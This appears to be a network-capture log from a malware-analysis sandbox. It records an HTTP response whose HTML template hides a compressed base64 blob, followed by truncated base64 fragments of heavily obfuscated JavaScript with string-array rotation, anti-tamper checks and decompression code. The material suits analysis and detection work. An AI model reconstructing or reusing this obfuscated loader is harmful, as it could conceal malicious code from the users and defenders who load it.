2022-07-01 17:36:52 UTC 351 IN Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 74 65 6d 70 6c 61 74 65 20 69 
64 3d 22 61 64 62 32 63 35 61 30 2d 34 37 37 38 2d 34 34 61 37 2d 38 32 34 35 2d 66 62 37 35 61 66 37 62 62 37 38 36 
22 3e 65 4a 79 46 56 4e 39 7a 32 30 51 51 66 73 5a 2f 78 56 6c 6c 6f 72 74 49 6c 71 32 47 55 6f 70 30 4a 6b 7a 49 51 32 
5a 67 79 67 42 35 41 45 76 4e 58 4f 79 56 4c 5a 44 75 7a 47 6d 64 70 48 58 38 76 33 66 50 6b 59 6a 6c 46 6e 69 77 64 
46 35 39 75 39 2b 33 76 34 36 6c 77 78 2f 65 58 76 7a 32 2b 38 2b 58 62 49 56 31 4e 55 33 62 4a 36 6a 46 4e 4d 55 53 
4b 35 69 6d 34 2b 36 39 74 77 37 53 57 37 4e 34 54 36 39 6d 62 73 73 31 54 67 64 33 79 72 4a 4e 59 55 31 39 62 61 73 
35 6b 38 7a 33 45 39 59 7a 6b 6d 30 4a 65 41 4f 31 4b 71 75 62 6c 57 
Data Ascii: <html><head></head><body><template id="adb2c5a0-4778-44a7-8245-fb75af7bb786">eJyFVN9z20Q
QfsZ/xVllortIlq2GUop0JkzIQ2ZgygB5AEvNXOyVLZDuzGmdpHX8v3fPkYjlFniwdF59u9+3v46lwx/eXvz2+8+XbIV1NU3bJ6j
FNMUSK5im4+69tw7SW7N4T69mbss1Tgd3yrJNYU19bas5k8z3E9Yzkm0JeAO1KqublW

2022-07-01 17:36:52 UTC 353 IN Data Raw: 76 4d 48 67 7a 4b 69 67 74 63 47 46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4e 6a 42 6c 4f 54 4d 35 4b 44 42 
34 4d 54 63 7a 4b 53 6b 76 4d 48 67 30 4b 53 73 74 63 47 46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4e 6a 42 6c 4f 54 
4d 35 4b 44 42 34 4d 54 67 78 4b 53 6b 76 4d 48 67 31 4b 79 31 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 4d 48 67 32 4d 
47 55 35 4d 7a 6b 6f 4d 48 67 78 4e 54 6b 70 4b 53 38 77 65 44 59 71 4b 43 31 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 
4d 48 67 32 4d 47 55 35 4d 7a 6b 6f 4d 48 67 78 4e 57 49 70 4b 53 38 77 65 44 63 70 4b 33 42 68 63 6e 4e 6c 53 57 35 
30 4b 46 38 77 65 44 59 77 5a 54 6b 7a 4f 53 67 77 65 44 45 31 59 79 6b 70 4c 7a 42 34 4f 43 6f 6f 4c 58 42 68 63 6e 4e 
6c 53 57 35 30 4b 46 38 77 65 44 59 77 5a 54 6b 7a 4f 53 67 77 65 44 
Data Ascii: vMHgzKigtcGFyc2VJbnQoXzB4NjBlOTM5KDB4MTczKSkvMHg0KSstcGFyc2VJbnQoXzB4NjBlOTM5K
DB4MTgxKSkvMHg1Ky1wYXJzZUludChfMHg2MGU5MzkoMHgxNTkpKS8weDYqKC1wYXJzZUludChfMHg2M
GU5MzkoMHgxNWIpKS8weDcpK3BhcnNlSW50KF8weDYwZTkzOSgweDE1YykpLzB4OCooLXBhcnNlSW50K
F8weDYwZTkzOSgweD

2022-07-01 17:36:52 UTC 357 IN Data Raw: 66 4d 48 67 31 5a 44 4e 68 4f 47 59 73 58 7a 42 34 4d 6a 4e 6a 4d 44 42 6b 4b 7a 31 66 4d 48 67 78 5a 54 
67 31 4d 54 45 37 5a 57 78 7a 5a 58 74 6d 62 33 49 6f 58 7a 42 34 4d 6a 67 32 4e 44 55 79 50 54 42 34 4d 44 74 66 4d 
48 67 79 4f 44 59 30 4e 54 49 38 58 7a 42 34 4d 57 55 34 4e 54 45 78 4f 79 73 72 58 7a 42 34 4d 6a 67 32 4e 44 55 79 4
b 56 38 77 65 44 64 6a 4e 32 45 7a 5a 44 31 66 4d 48 67 33 59 7a 64 68 4d 32 51 38 50 44 42 34 4d 58 78 66 4d 48 67 
31 5a 44 4e 68 4f 47 59 2b 50 6c 38 77 65 44 46 6c 4f 44 55 78 4d 53 31 66 4d 48 67 79 4f 44 59 30 4e 54 49 74 4d 48 67 
78 4a 6a 42 34 4d 53 77 77 65 44 67 39 50 53 73 72 58 7a 42 34 4d 6a 4e 6a 4d 44 42 6b 4a 69 59 6f 58 7a 42 34 4d 6a 
4e 6a 4d 44 42 6b 50 54 42 34 4d 43 78 66 4d 48 67 78 4e 54 67 33 59 32 
Data Ascii: fMHg1ZDNhOGYsXzB4MjNjMDBkKz1fMHgxZTg1MTE7ZWxzZXtmb3IoXzB4Mjg2NDUyPTB4MDtfMHgyO
DY0NTI8XzB4MWU4NTExOysrXzB4Mjg2NDUyKV8weDdjN2EzZD1fMHg3YzdhM2Q8PDB4MXxfMHg1ZDNhO
GY+Pl8weDFlODUxMS1fMHgyODY0NTItMHgxJjB4MSwweDg9PSsrXzB4MjNjMDBkJiYoXzB4MjNjMDBkPTB4MCxfMHg
xNTg3Y2

2022-07-01 17:36:52 UTC 361 IN Data Raw: 63 65 44 63 30 58 48 67 33 4d 46 78 34 4e 7a 56 63 65 44 63 30 58 48 67 30 4f 56 78 34 4e 6d 56 63 65 44 
59 30 58 48 67 32 4e 56 78 34 4e 7a 67 6e 58 53 59 6d 4b 48 52 6f 61 58 4e 62 4a 31 78 34 4e 6a 49 6e 58 54 31 66 4d 
48 67 78 4d 32 49 35 4e 44 4e 62 58 7a 42 34 4d 7a 59 77 4f 57 49 35 4b 44 42 34 4d 54 63 35 4b 56 30 70 4b 53 78 30 
61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 31 38 66 43 68 30 61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 30 39 62 6d 56 
33 4b 46 38 77 65 44 51 7a 4e 6a 55 7a 4d 6a 39 56 61 57 35 30 4f 45 46 79 63 6d 46 35 4f 6b 46 79 63 6d 46 35 4b 53 
67 77 65 44 67 77 4d 44 41 70 4b 54 74 39 58 7a 42 34 4e 44 67 79 4d 54 59 34 57 31 38 77 65 44 4e 6c 4f 47 55 30 4e 
53 67 77 65 44 45 34 4e 79 6c 64 57 31 38 77 65 44 4e 6c 4f 47 55 30 4e 53 
Data Ascii: ceDc0XHg3MFx4NzVceDc0XHg0OVx4NmVceDY0XHg2NVx4NzgnXSYmKHRoaXNbJ1x4NjInXT1fMHgxM
2I5NDNbXzB4MzYwOWI5KDB4MTc5KV0pKSx0aGlzWydceDYxJ118fCh0aGlzWydceDYxJ109bmV3KF8weDQzNjUzMj9
VaW50OEFycmF5OkFycmF5KSgweDgwMDApKTt9XzB4NDgyMTY4W18weDNlOGU0NSgweDE4NyldW18weDN
lOGU0NS

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 17:36:52 UTC 365 IN Data Raw: 64 4b 54 30 39 50 56 38 77 65 44 49 31 5a 6a 56 6b 4d 43 78 66 4d 48 67 30 59 57 55 7a 59 6d 55 39 58 7a 
42 34 4d 54 51 30 4d 47 55 32 4c 46 38 77 65 44 4d 30 4e 57 55 7a 5a 54 31 66 4d 48 67 78 4e 44 51 77 5a 54 59 73 58 
7a 42 34 4d 6a 59 35 4d 54 67 32 50 58 52 6f 61 58 4e 62 4a 31 78 34 4e 6a 45 6e 58 53 78 66 4d 48 67 30 59 6d 51 33 
4e 32 49 39 64 47 68 70 63 31 73 6e 58 48 67 32 4d 69 64 64 4f 32 6c 6d 4b 46 38 77 65 44 51 7a 4e 6a 55 7a 4d 69 6c 
37 5a 6d 39 79 4b 46 38 77 65 44 49 32 4f 54 45 34 4e 6a 31 75 5a 58 63 67 56 57 6c 75 64 44 68 42 63 6e 4a 68 65 53 
68 30 61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 31 62 4a 31 78 34 4e 6a 4a 63 65 44 63 31 58 48 67 32 4e 6c 78 34 4e 
6a 5a 63 65 44 59 31 58 48 67 33 4d 69 64 64 4b 54 74 66 4d 48 67 79 4e 6a 
Data Ascii: dKT09PV8weDI1ZjVkMCxfMHg0YWUzYmU9XzB4MTQ0MGU2LF8weDM0NWUzZT1fMHgxNDQ
wZTYsXzB4MjY5MTg2PXRoaXNbJ1x4NjEnXSxfMHg0YmQ3N2I9dGhpc1snXHg2MiddO2lmKF8weDQzNjUzMil7Zm9yK
F8weDI2OTE4Nj1uZXcgVWludDhBcnJheSh0aGlzWydceDYxJ11bJ1x4NjJceDc1XHg2Nlx4NjZceDY1XHg3MiddKTt
fMHgyNj

2022-07-01 17:36:52 UTC 369 IN Data Raw: 78 50 54 42 34 4d 44 74 66 4d 48 67 79 5a 44 68 6c 4d 6a 45 38 58 7a 42 34 4d 54 64 6c 4d 44 45 78 4f 31 38 
77 65 44 4a 6b 4f 47 55 79 4d 53 73 72 4b 56 38 77 65 47 4a 68 4f 54 46 6b 4f 46 74 66 4d 48 67 7a 4e 32 4d 35 4e 6d 
49 72 4b 31 30 39 58 7a 42 34 4d 54 4d 31 4e 54 55 35 57 31 38 77 65 44 4a 6b 4f 47 55 79 4d 56 30 37 61 57 59 6f 49 
56 38 77 65 44 51 7a 4e 6a 55 7a 4d 69 6c 37 5a 6d 39 79 4b 46 38 77 65 44 4a 6b 4f 47 55 79 4d 54 30 77 65 44 41 73 
58 7a 42 34 4d 54 6c 6b 4d 54 45 78 50 56 38 77 65 47 45 77 4d 7a 41 32 4e 46 74 66 4d 48 67 30 4e 6a 41 78 59 57 59 
6f 4d 48 67 78 4e 57 55 70 58 54 74 66 4d 48 67 79 5a 44 68 6c 4d 6a 45 38 58 7a 42 34 4d 54 6c 6b 4d 54 45 78 4f 79 
73 72 58 7a 42 34 4d 6d 51 34 5a 54 49 78 4b 56 38 77 65 47 45 77 4d 7a 
Data Ascii: xPTB4MDtfMHgyZDhlMjE8XzB4MTdlMDExO18weDJkOGUyMSsrKV8weGJhOTFkOFtfMHgzN2M5NmIrK
109XzB4MTM1NTU5W18weDJkOGUyMV07aWYoIV8weDQzNjUzMil7Zm9yKF8weDJkOGUyMT0weDAsXzB4M
TlkMTExPV8weGEwMzA2NFtfMHg0NjAxYWYoMHgxNWUpXTtfMHgyZDhlMjE8XzB4MTlkMTExOysrXzB4M
mQ4ZTIxKV8weGEwMz

2022-07-01 17:36:52 UTC 373 IN Data Raw: 64 4c 46 38 77 65 44 49 31 4f 44 6b 34 59 56 73 72 4b 31 38 77 65 44 55 35 4d 6d 49 33 4d 31 30 73 58 7a 42 
34 4d 7a 4d 30 5a 54 4d 79 4b 54 74 6c 62 48 4e 6c 65 32 6c 6d 4b 44 42 34 4d 54 41 77 50 54 30 39 58 7a 42 34 4d 54 
64 6d 4d 6a 6c 6d 4b 57 4a 79 5a 57 46 72 4f 33 31 30 61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 30 39 58 7a 42 34 4e 
47 46 6d 59 32 51 30 57 31 38 77 65 44 51 32 4d 44 46 68 5a 69 67 77 65 44 45 35 4d 69 6c 64 4b 43 6b 73 64 47 68 70 
63 31 73 6e 58 48 67 32 4d 69 64 64 50 58 52 6f 61 58 4e 62 4a 31 78 34 4e 6a 45 6e 58 56 74 66 4d 48 67 30 4e 6a 41 
78 59 57 59 6f 4d 48 67 78 4e 57 55 70 58 54 74 69 63 6d 56 68 61 7a 74 6b 5a 57 5a 68 64 57 78 30 4f 6c 38 77 65 44 
49 79 4e 44 68 6b 5a 69 68 66 4d 48 67 30 4e 6a 41 78 59 57 59 6f 4d 48 
Data Ascii: dLF8weDI1ODk4YVsrK18weDU5MmI3M10sXzB4MzM0ZTMyKTtlbHNle2lmKDB4MTAwPT09XzB4MTdmM
jlmKWJyZWFrO310aGlzWydceDYxJ109XzB4NGFmY2Q0W18weDQ2MDFhZigweDE5MildKCksdGhpc1snXHg2MiddPXR
oaXNbJ1x4NjEnXVtfMHg0NjAxYWYoMHgxNWUpXTticmVhaztkZWZhdWx0Ol8weDIyNDhkZihfMHg0NjAxYWYoMH

2022-07-01 17:36:52 UTC 377 IN Data Raw: 64 4f 32 4a 79 5a 57 46 72 4f 32 4e 68 63 32 55 67 4d 48 67 78 4f 44 34 39 58 7a 42 34 4d 54 4d 78 4f 57 52 
6a 4f 6c 38 77 65 44 55 35 59 7a 64 6c 5a 44 31 62 4d 48 67 34 4c 46 38 77 65 44 45 7a 4d 54 6c 6b 59 79 30 77 65 44 
45 78 4c 44 42 34 4d 31 30 37 59 6e 4a 6c 59 57 73 37 59 32 46 7a 5a 53 41 77 65 44 49 77 50 6a 31 66 4d 48 67 78 4d 
7a 45 35 5a 47 4d 36 58 7a 42 34 4e 54 6c 6a 4e 32 56 6b 50 56 73 77 65 44 6b 73 58 7a 42 34 4d 54 4d 78 4f 57 52 6a 
4c 54 42 34 4d 54 6b 73 4d 48 67 7a 58 54 74 69 63 6d 56 68 61 7a 74 6a 59 58 4e 6c 49 44 42 34 4d 7a 41 2b 50 56 38 
77 65 44 45 7a 4d 54 6c 6b 59 7a 70 66 4d 48 67 31 4f 57 4d 33 5a 57 51 39 57 7a 42 34 59 53 78 66 4d 48 67 78 4d 7a 
45 35 5a 47 4d 74 4d 48 67 79 4d 53 77 77 65 44 52 64 4f 32 4a 79 5a 57 
Data Ascii: dO2JyZWFrO2Nhc2UgMHgxOD49XzB4MTMxOWRjOl8weDU5YzdlZD1bMHg4LF8weDEzMTlkYy0weDExL
DB4M107YnJlYWs7Y2FzZSAweDIwPj1fMHgxMzE5ZGM6XzB4NTljN2VkPVsweDksXzB4MTMxOWRjLTB4M
TksMHgzXTticmVhaztjYXNlIDB4MzA+PV8weDEzMTlkYzpfMHg1OWM3ZWQ9WzB4YSxfMHgxMzE5ZGMtM
HgyMSwweDRdO2JyZW

2022-07-01 17:36:52 UTC 381 IN Data Raw: 66 4d 48 67 31 4f 44 55 33 4e 44 68 62 58 7a 42 34 4e 47 4a 6d 4f 44 68 6b 4b 79 74 64 50 56 38 77 65 44 51 
77 4d 57 46 68 59 53 77 72 4b 31 38 77 65 44 45 7a 5a 47 52 6c 4f 56 74 66 4d 48 67 30 4d 44 46 68 59 57 46 64 4f 32 
4a 79 5a 57 46 72 4f 33 30 77 65 44 41 38 58 7a 42 34 4d 6a 41 30 59 32 51 78 57 31 38 77 65 44 4e 6d 4d 54 4d 31 5a 
69 67 77 65 44 45 31 5a 53 6c 64 50 79 68 66 4d 48 67 30 59 57 5a 68 4e 54 45 39 58 7a 42 34 4d 6d 49 30 4d 44 59 34 
4b 46 38 77 65 44 52 68 4d 7a 63 35 59 53 78 66 4d 48 67 78 4d 47 49 32 59 6d 51 73 58 7a 42 34 4d 6a 41 30 59 32 51 
78 4b 53 78 66 4d 48 67 7a 59 6d 45 33 4d 47 51 2f 58 7a 42 34 4d 32 4a 68 4e 7a 42 6b 57 31 38 77 65 44 4e 6d 4d 54 
4d 31 5a 69 67 77 65 44 45 31 5a 53 6c 64 50 46 38 77 65 44 52 68 5a 6d 
Data Ascii: fMHg1ODU3NDhbXzB4NGJmODhkKytdPV8weDQwMWFhYSwrK18weDEzZGRlOVtfMHg0MDF
hYWFdO2JyZWFrO30weDA8XzB4MjA0Y2QxW18weDNmMTM1ZigweDE1ZSldPyhfMHg0YWZhNTE9XzB4MmI
0MDY4KF8weDRhMzc5YSxfMHgxMGI2YmQsXzB4MjA0Y2QxKSxfMHgzYmE3MGQ/XzB4M2JhNzBkW18weDN
mMTM1ZigweDE1ZSldPF8weDRhZm

2022-07-01 17:36:52 UTC 385 IN Data Raw: 34 4d 54 77 38 58 7a 42 34 4e 32 46 6a 4f 54 41 32 4b 53 31 66 4d 48 67 78 4d 7a 67 35 59 6a 59 73 58 7a 
42 34 4d 6a 55 34 4f 44 46 68 50 54 42 34 4d 54 77 38 58 7a 42 34 4e 32 46 6a 4f 54 41 32 4c 54 42 34 4d 54 74 6d 62 
33 49 6f 58 7a 42 34 4d 54 59 31 4e 7a 4d 32 57 31 38 77 65 44 64 68 59 7a 6b 77 4e 69 30 77 65 44 46 64 50 56 38 77 
65 44 45 7a 4f 44 6c 69 4e 69 78 66 4d 48 67 79 4e 57 52 6a 59 54 6b 39 4d 48 67 77 4f 31 38 77 65 44 49 31 5a 47 4e 
68 4f 54 78 66 4d 48 67 33 59 57 4d 35 4d 44 59 37 4b 79 74 66 4d 48 67 79 4e 57 52 6a 59 54 6b 70 58 7a 42 34 4d 6a 
45 77 4d 54 59 34 50 46 38 77 65 44 49 31 4f 44 67 78 59 54 39 66 4d 48 68 6a 4f 57 55 30 59 57 52 62 58 7a 42 34 4d 
6a 56 6b 59 32 45 35 58 54 30 77 65 44 41 36 4b 46 38 77 65 47 4d 35 5a 54 
Data Ascii: 4MTw8XzB4N2FjOTA2KS1fMHgxMzg5YjYsXzB4MjU4ODFhPTB4MTw8XzB4N2FjOTA2LTB4MTtmb3IoX
zB4MTY1NzM2W18weDdhYzkwNi0weDFdPV8weDEzODliNixfMHgyNWRjYTk9MHgwO18weDI1ZGNhOTxfM
Hg3YWM5MDY7KytfMHgyNWRjYTkpXzB4MjEwMTY4PF8weDI1ODgxYT9fMHhjOWU0YWRbXzB4MjVkY2E5X
T0weDA6KF8weGM5ZT

2022-07-01 17:36:52 UTC 389 IN Data Raw: 7a 57 79 64 63 65 44 63 7a 4a 31 30 39 49 54 42 34 4d 53 78 30 61 47 6c 7a 57 79 64 63 65 44 5a 6c 4a 31 
30 39 58 7a 42 34 4d 6a 64 6b 4e 47 45 77 4c 48 52 6f 61 58 4e 62 4a 31 78 34 4e 44 49 6e 58 54 30 68 4d 48 67 78 4c 
43 46 66 4d 48 67 31 4e 6d 56 6b 59 7a 63 6d 4a 69 68 66 4d 48 67 31 4e 6d 56 6b 59 7a 63 39 65 33 30 70 66 48 77 6f 
58 7a 42 34 4e 54 5a 6c 5a 47 4d 33 57 31 38 77 65 44 49 7a 4e 6d 4d 31 5a 69 67 77 65 44 45 35 4d 43 6c 64 4a 69 59 
6f 64 47 68 70 63 31 73 6e 58 48 67 32 4d 79 64 64 50 56 38 77 65 44 55 32 5a 57 52 6a 4e 31 73 6e 58 48 67 32 4f 56 
78 34 4e 6d 56 63 65 44 59 30 58 48 67 32 4e 56 78 34 4e 7a 67 6e 58 53 6b 73 58 7a 42 34 4e 54 5a 6c 5a 47 4d 33 57 
31 38 77 65 44 49 7a 4e 6d 4d 31 5a 69 67 77 65 44 45 32 59 69 6c 64 4a 69 
Data Ascii: zWydceDczJ109ITB4MSx0aGlzWydceDZlJ109XzB4MjdkNGEwLHRoaXNbJ1x4NDInXT0hMHgxLCFfM
Hg1NmVkYzcmJihfMHg1NmVkYzc9e30pfHwoXzB4NTZlZGM3W18weDIzNmM1ZigweDE5MCldJiYodGhpc1snXHg2Myd
dPV8weDU2ZWRjN1snXHg2OVx4NmVceDY0XHg2NVx4NzgnXSksXzB4NTZlZGM3W18weDIzNmM1ZigweDE2YildJi

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 17:36:52 UTC 393 IN Data Raw: 68 4d 54 45 70 58 7a 42 34 5a 57 56 6a 4d 54 67 30 57 31 38 77 65 44 51 33 5a 6a 6c 68 5a 6c 74 66 4d 48 
67 79 4d 54 4a 68 4d 54 46 64 58 54 31 66 4d 48 67 33 59 54 42 68 5a 6d 51 6f 64 47 68 70 63 79 77 77 65 44 4d 70 4f 
32 6c 6d 4b 43 46 66 4d 48 67 30 4d 7a 59 31 4d 7a 49 70 65 32 5a 76 63 69 68 66 4d 48 67 79 4d 54 4a 68 4d 54 45 39 
58 7a 42 34 59 57 51 7a 4e 6d 45 30 4c 46 38 77 65 47 46 6b 4d 7a 5a 68 4e 44 31 66 4d 48 68 6c 5a 57 4d 78 4f 44 52 
62 4a 31 78 34 4e 6d 4e 63 65 44 59 31 58 48 67 32 5a 56 78 34 4e 6a 64 63 65 44 63 30 58 48 67 32 4f 43 64 64 4f 31 
38 77 65 44 49 78 4d 6d 45 78 4d 54 78 66 4d 48 68 68 5a 44 4d 32 59 54 51 37 4b 79 74 66 4d 48 67 79 4d 54 4a 68 4d 
54 45 70 58 7a 42 34 5a 57 56 6a 4d 54 67 30 57 31 38 77 65 44 51 33 5a 6a 
Data Ascii: hMTEpXzB4ZWVjMTg0W18weDQ3ZjlhZltfMHgyMTJhMTFdXT1fMHg3YTBhZmQodGhpcywweDMpO2lmK
CFfMHg0MzY1MzIpe2ZvcihfMHgyMTJhMTE9XzB4YWQzNmE0LF8weGFkMzZhND1fMHhlZWMxODRbJ1x4N
mNceDY1XHg2ZVx4NjdceDc0XHg2OCddO18weDIxMmExMTxfMHhhZDM2YTQ7KytfMHgyMTJhMTEpXzB4Z
WVjMTg0W18weDQ3Zj

2022-07-01 17:36:52 UTC 397 IN Data Raw: 30 4d 53 78 66 4d 48 67 7a 4d 7a 4d 30 4d 53 73 39 4d 48 67 34 4f 33 4a 6c 64 48 56 79 62 69 42 66 4d 48 67 
79 5a 47 49 33 59 54 41 39 58 7a 42 34 4e 44 42 68 4e 6a 68 6b 4a 69 67 77 65 44 45 38 50 46 38 77 65 44 4d 30 4d 6a 
67 77 4e 69 6b 74 4d 48 67 78 4c 46 38 77 65 44 49 32 4d 47 4a 6b 4e 6c 73 6e 58 48 67 32 4e 79 64 64 50 56 38 77 65 
44 51 77 59 54 59 34 5a 44 34 2b 50 6c 38 77 65 44 4d 30 4d 6a 67 77 4e 69 78 66 4d 48 67 79 4e 6a 42 69 5a 44 5a 62 
4a 31 78 34 4e 6a 55 6e 58 54 31 66 4d 48 67 7a 4d 7a 4d 30 4d 53 31 66 4d 48 67 7a 4e 44 49 34 4d 44 59 73 58 7a 42 
34 4d 6a 59 77 59 6d 51 32 57 79 64 63 65 44 59 7a 4a 31 30 39 58 7a 42 34 4d 54 68 6a 4f 44 45 34 4c 46 38 77 65 44 
4a 6b 59 6a 64 68 4d 44 74 39 5a 6e 56 75 59 33 52 70 62 32 34 67 58 7a 
Data Ascii: 0MSxfMHgzMzM0MSs9MHg4O3JldHVybiBfMHgyZGI3YTA9XzB4NDBhNjhkJigweDE8PF8weDM0MjgwN
iktMHgxLF8weDI2MGJkNlsnXHg2NyddPV8weDQwYTY4ZD4+Pl8weDM0MjgwNixfMHgyNjBiZDZbJ1x4NjUnXT1fMHg
zMzM0MS1fMHgzNDI4MDYsXzB4MjYwYmQ2WydceDYzJ109XzB4MThjODE4LF8weDJkYjdhMDt9ZnVuY3Rpb24gXz

2022-07-01 17:36:52 UTC 401 IN Data Raw: 77 4f 47 49 34 59 53 73 72 58 54 31 66 4d 48 67 78 59 54 63 78 4d 54 41 37 5a 57 78 7a 5a 58 74 6d 62 33 
49 6f 58 7a 42 34 4d 57 59 33 5a 54 63 77 50 56 38 77 65 44 51 7a 4d 7a 45 31 4d 6c 74 66 4d 48 67 30 4f 44 6b 79 59 
7a 63 39 58 7a 42 34 4d 57 45 33 4d 54 45 77 4c 54 42 34 4d 54 41 78 58 53 77 77 65 44 41 38 58 7a 42 34 4d 6d 5a 68 
5a 57 51 35 57 31 38 77 65 44 51 34 4f 54 4a 6a 4e 31 30 6d 4a 69 68 66 4d 48 67 78 5a 6a 64 6c 4e 7a 41 72 50 56 38 
77 65 44 64 68 4d 47 46 6d 5a 43 68 30 61 47 6c 7a 4c 46 38 77 65 44 4a 6d 59 57 56 6b 4f 56 74 66 4d 48 67 30 4f 44 
6b 79 59 7a 64 64 4b 53 6b 73 58 7a 42 34 4d 57 45 33 4d 54 45 77 50 56 38 77 65 44 52 68 4d 54 55 34 4e 69 68 30 61 
47 6c 7a 4c 46 38 77 65 44 4d 32 59 32 55 77 4f 43 6b 73 58 7a 42 34 4d 6d 
Data Ascii: wOGI4YSsrXT1fMHgxYTcxMTA7ZWxzZXtmb3IoXzB4MWY3ZTcwPV8weDQzMzE1MltfMHg0ODkyYzc9X
zB4MWE3MTEwLTB4MTAxXSwweDA8XzB4MmZhZWQ5W18weDQ4OTJjN10mJihfMHgxZjdlNzArPV8weDdhM
GFmZCh0aGlzLF8weDJmYWVkOVtfMHg0ODkyYzddKSksXzB4MWE3MTEwPV8weDRhMTU4Nih0aGlzLF8we
DM2Y2UwOCksXzB4Mm

2022-07-01 17:36:52 UTC 405 IN Data Raw: 6c 4f 54 52 62 58 7a 42 34 4d 32 55 34 5a 54 51 31 4b 44 42 34 4d 54 67 33 4b 56 31 62 4a 31 78 34 4e 7a 
51 6e 58 54 31 6d 64 57 35 6a 64 47 6c 76 62 69 67 70 65 33 5a 68 63 69 42 66 4d 48 67 34 59 6a 52 69 4d 6a 45 39 58 
7a 42 34 4d 32 55 34 5a 54 51 31 4c 46 38 77 65 44 51 32 5a 6a 55 35 59 53 78 66 4d 48 67 7a 59 6a 55 35 5a 57 55 73 
58 7a 42 34 59 6a 42 6d 4e 44 63 73 58 7a 42 34 59 32 46 6d 4e 44 64 6c 4c 46 38 77 65 44 52 68 4d 32 49 79 5a 43 78 
66 4d 48 67 78 4e 44 51 78 5a 47 49 39 4d 48 67 77 4c 46 38 77 65 44 49 78 59 54 56 68 4d 44 31 30 61 47 6c 7a 57 79 
64 63 65 44 59 78 4a 31 30 73 58 7a 42 34 5a 47 49 77 4d 7a 4d 34 50 58 52 6f 61 58 4e 62 4a 31 78 34 4e 6d 4d 6e 58 
53 78 66 4d 48 67 79 4e 7a 51 77 4e 6d 55 39 62 6d 56 33 4b 46 38 77 65 44 
Data Ascii: lOTRbXzB4M2U4ZTQ1KDB4MTg3KV1bJ1x4NzQnXT1mdW5jdGlvbigpe3ZhciBfMHg4YjRiMjE9XzB4M
2U4ZTQ1LF8weDQ2ZjU5YSxfMHgzYjU5ZWUsXzB4YjBmNDcsXzB4Y2FmNDdlLF8weDRhM2IyZCxfMHgxN
DQxZGI9MHgwLF8weDIxYTVhMD10aGlzWydceDYxJ10sXzB4ZGIwMzM4PXRoaXNbJ1x4NmMnXSxfMHgyN
zQwNmU9bmV3KF8weD

2022-07-01 17:36:52 UTC 409 IN Data Raw: 70 58 53 67 77 65 44 67 77 4d 44 41 70 4c 54 42 34 4f 44 74 69 63 6d 56 68 61 7a 74 6b 5a 57 5a 68 64 57 
78 30 4f 6c 38 77 65 44 49 79 4e 44 68 6b 5a 69 68 46 63 6e 4a 76 63 69 68 66 4d 48 67 79 5a 6a 45 79 4f 54 45 6f 4d 48 
67 78 4e 54 59 70 4b 53 6b 37 66 58 4e 33 61 58 52 6a 61 43 68 66 4d 48 67 31 4e 6a 49 33 4e 44 41 39 58 7a 42 34 4e 
54 42 6d 4d 6a 6b 34 50 44 77 77 65 44 52 38 58 7a 42 34 4d 57 4d 30 4d 32 4e 6c 4c 46 38 77 65 44 49 77 59 7a 64 6b 
4d 56 74 66 4d 48 67 7a 4d 44 63 7a 4d 54 59 72 4b 31 30 39 58 7a 42 34 4e 54 59 79 4e 7a 51 77 4c 46 38 77 65 44 46 
6a 4e 44 4e 6a 5a 53 6c 37 59 32 46 7a 5a 53 42 66 4d 48 67 79 4d 6a 67 7a 5a 6a 55 36 63 33 64 70 64 47 4e 6f 4b 48 
52 6f 61 58 4e 62 4a 31 78 34 4e 6a 67 6e 58 53 6c 37 59 32 46 7a 5a 53 
Data Ascii: pXSgweDgwMDApLTB4ODticmVhaztkZWZhdWx0Ol8weDIyNDhkZihFcnJvcihfMHgyZjEyOTEoMHgxN
TYpKSk7fXN3aXRjaChfMHg1NjI3NDA9XzB4NTBmMjk4PDwweDR8XzB4MWM0M2NlLF8weDIwYzdkMVtfM
HgzMDczMTYrK109XzB4NTYyNzQwLF8weDFjNDNjZSl7Y2FzZSBfMHgyMjgzZjU6c3dpdGNoKHRoaXNbJ1x4NjgnXSl
7Y2FzZS

2022-07-01 17:36:52 UTC 413 IN Data Raw: 70 58 53 67 70 57 79 64 63 65 44 63 7a 58 48 67 32 4e 56 78 34 4e 6a 46 63 65 44 63 79 58 48 67 32 4d 31 
78 34 4e 6a 67 6e 58 53 67 6e 58 48 67 79 4f 46 78 34 4d 6a 68 63 65 44 49 34 58 48 67 79 5a 56 78 34 4d 6d 4a 63 65 
44 49 35 58 48 67 79 59 6c 78 34 4d 6a 6c 63 65 44 4a 69 58 48 67 79 4f 56 78 34 4d 6d 4a 63 65 44 49 30 4a 79 6c 62 5
8 7a 42 34 4e 47 59 32 4e 6d 51 7a 4b 44 42 34 4d 54 56 6b 4b 56 30 6f 4b 56 74 66 4d 48 67 30 5a 6a 59 32 5a 44 4d 6f 
4d 48 67 78 4e 54 51 70 58 53 68 66 4d 48 67 7a 59 6a 42 69 4f 44 67 70 57 31 38 77 65 44 52 6d 4e 6a 5a 6b 4d 79 67 
77 65 44 46 68 4d 53 6c 64 4b 46 38 77 65 44 52 6d 4e 6a 5a 6b 4d 79 67 77 65 44 45 35 5a 53 6b 70 4f 33 30 70 4f 31 
38 77 65 44 4e 69 4d 47 49 34 4f 43 67 70 4f 32 4e 76 62 6e 4e 30 49 46 
Data Ascii: pXSgpWydceDczXHg2NVx4NjFceDcyXHg2M1x4NjgnXSgnXHgyOFx4MjhceDI4XHgyZVx4MmJceDI5X
HgyYlx4MjlceDJiXHgyOVx4MmJceDI0JylbXzB4NGY2NmQzKDB4MTVkKV0oKVtfMHg0ZjY2ZDMoMHgxNTQpXShfMHg
zYjBiODgpW18weDRmNjZkMygweDFhMSldKF8weDRmNjZkMygweDE5ZSkpO30pO18weDNiMGI4OCgpO2NvbnN0IF

2022-07-01 17:36:52 UTC 417 IN Data Raw: 63 65 44 49 77 58 48 67 79 4d 46 78 34 4d 6a 42 63 65 44 49 77 58 48 67 79 4d 46 78 34 4d 6a 42 63 65 44 
